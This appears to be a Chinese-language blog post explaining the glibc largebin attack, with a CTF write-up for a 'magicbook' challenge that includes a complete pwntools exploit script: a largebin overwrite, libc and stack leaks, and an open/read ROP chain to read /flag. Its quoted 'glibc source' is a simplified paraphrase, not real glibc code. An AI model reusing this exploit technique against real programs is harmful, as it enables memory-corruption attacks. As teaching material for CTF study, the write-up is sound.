常回家看看之largebin_attack

CH13hh發表於2024-07-25

常回家看看之largebin_attack

先簡單介紹一下什麼是largebin

largebin 是 glibc 的 malloc 實現中用於管理大塊記憶體的一種資料結構。在 glibc 的記憶體分配中,largebinbin 系列的一部分,用於儲存大小超過某個閾值的空閒記憶體塊。largebin 的設計目標是提高記憶體管理的效率,並減少記憶體碎片。

簡單點就是用來管理較大的堆塊的

  • 起始大小:largebin 管理的記憶體塊大小從 smallbin 範圍的最大值 + 1 開始。具體來說,smallbin 的最大塊大小是 512 位元組,因此 largebin 的起始大小是 513 位元組。
  • 無上限:largebin 的記憶體塊沒有固定的上限。任何大於 512 位元組的空閒記憶體塊都會被插入到適當的 largebin 中。
  • 當有較大堆塊被釋放的時候,先進入unsortbin,再次進行分配的時候,如果有合適的,則將堆塊分割,剩下的部分仍然進入unsortbin,如果沒有合適的則進入largebin

largebin和其他bin的區別

  在 largebin 中,每個大塊記憶體塊除了標準的雙向連結串列指標 fd(forward)和 bk(backward)外,還包含額外的指標 fd_nextsizebk_nextsize。這些指標的作用如下:

  • fdbk:指向當前連結串列中前後相鄰的記憶體塊,用於維護基本的雙向連結串列。
  • fd_nextsizebk_nextsize:指向按大小排序的前後相鄰記憶體塊,用於維護按大小排序的鏈

作用:

  • fd_nextsize:指向當前記憶體塊大小相同或更大的下一個記憶體塊。
  • bk_nextsize:指向當前記憶體塊大小相同或更小的前一個記憶體塊。

這種結構允許 largebin 維護兩條連結串列:一條是按插入順序排列的連結串列(使用 fdbk 指標),另一條是按大小排序的連結串列(使用 fd_nextsizebk_nextsize 指標)。

Large Bin 的插入順序:

  • 按大小排序:首先根據大小從大到小對堆塊進行排序。較小的塊連結在較大的塊之後。
  • 按釋放時間排序:對於大小相同的塊,按它們被釋放的時間順序進行排序。先釋放的塊排在前面。
  • fd_nextsizebk_nextsize 指標:
  • 對於多個大小相同的堆塊,只有第一個塊(即首堆塊)的 fd_nextsizebk_nextsize 指標指向其他塊。
  • 後續相同大小的堆塊的 fd_nextsizebk_nextsize 指標均為 0。

迴圈連結串列:

  • 大小最大的塊的 bk_nextsize 指向大小最小的塊。
  • 大小最小的塊的 fd_nextsize 指向大小最大的塊。

原理:

  • Largebin 是 glibc 記憶體分配器中用於儲存較大記憶體塊的連結串列。每個塊不僅包含指向前後塊的指標 (fdbk),還包含指向相同大小塊的指標 (fd_nextsizebk_nextsize)。
  • 當一個記憶體塊被釋放後,它會被放入適當的 bin 中。如果是大塊,則放入 Largebin。
  • 當分配新的記憶體塊時,glibc 會嘗試從適當的 bin 中找到合適的塊進行分配。在 Largebin 中,按大小排序的連結串列有助於快速找到合適的塊。
  • 攻擊者可以透過偽造指標,特別是 bk_nextsize,來控制記憶體分配器的行為,從而實現任意地址寫入。

glibc 原始碼分析

1.當一個塊被釋放並符合 Largebin 條件時,會被放入 Largebin 中。以下是 glibc 中 mallocfree 操作的相關部分:

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. 修改 bk_nextsize

我們需要找到一種方式修改 Largebin 中塊的 bk_nextsize 欄位。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新塊觸發攻擊

當分配一個新的塊時,glibc 會嘗試找到合適的塊進行分配。在這個過程中,偽造的 bk_nextsize 會被用來更新指標,導致任意地址寫入。

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

透過上週的比賽題目可以很好的介紹largebin_attack
題目地址:
https://buuoj.cn/match/matches/207/challenges#magicbook

題目保護情況:沒有開canary保護

常回家看看之largebin_attack

64位ida逆向

常回家看看之largebin_attack

存在3個功能,一個一個看

add,申請堆塊大小和數量都有限制

常回家看看之largebin_attack

free,不僅存在UAF,而且還有任意堆塊資料部分+8處0x18位元組寫的功能

常回家看看之largebin_attack

edit,如果book處的地址很大存在棧溢位

常回家看看之largebin_attack

沙箱保護

思路:透過largebin_attack,將book處的地址變成一個較大的資料(頭指標),然後透過棧溢位,orw讀取資料

1.申請0x450,0x440,0x440(防止合併)大小的三個堆塊

2.釋放第一個堆塊(此時進入unsortbin)

3.申請一個比第一個堆塊大的堆塊(此時進入largebin)

4.釋放第二個堆塊的同時,修改第一個堆塊的bk_nextsize為book-0x20的位置

5.申請一個大堆塊完成largebin_attack

6.棧溢位orw讀取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')

success('puts--->'+hex(libc.sym['system']))

io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    io.sendlineafter('Your choice:','1')
    io.sendlineafter('your book need?',str(size))


def free0(index,ch,msg):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','y')
    io.sendlineafter('you want to write?',str(ch))
    io.sendafter('content: ',msg)

def free1(index):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','n')

def edit():
    io.sendlineafter('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack  = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)

io.interactive()

總結:

Largebin Attack 利用條件和步驟

利用條件:

  1. 修改許可權:能夠修改 Largebin 中塊的 bk_nextsize 欄位。

  2. 堆塊分配:程式能夠分配至少三種不同大小的塊,並確保這些塊緊密相鄰。

利用步驟:

  1. 分配堆塊:

    • 分配一塊大小為 size1 且在 Largebin 範圍內的塊 chunk1

    • 分配一塊任意大小的塊 pad1,以防止在釋放 chunk1 時系統將其與 top chunk 合併。

    • 分配一塊大小為 size2 且在 Largebin 範圍內的塊 chunk2,要求 size2 < size1chunk2 緊鄰 chunk1

    • 分配一塊任意大小的塊 pad2,以防止在釋放 chunk2 時系統將其與 top chunk 合併。

  2. 釋放並重新分配:

    • 釋放 chunk1,此時系統會將其放入 unsortedbin。再分配一個大小為 size3 的塊,要求 size3 > size1,此時系統會將 chunk1 放進 Largebin 中。

    • 確保 chunk2 緊鄰 chunk1

    • 釋放 chunk2 進入 unsortedbin。

  3. 修改指標:

    • 修改 chunk1->bk_nextsizeTarget - 0x20

  4. 觸發攻擊:

    • 隨意分配一個可以進入unsortbin的堆塊,就會觸發 Largebin attack。

相關文章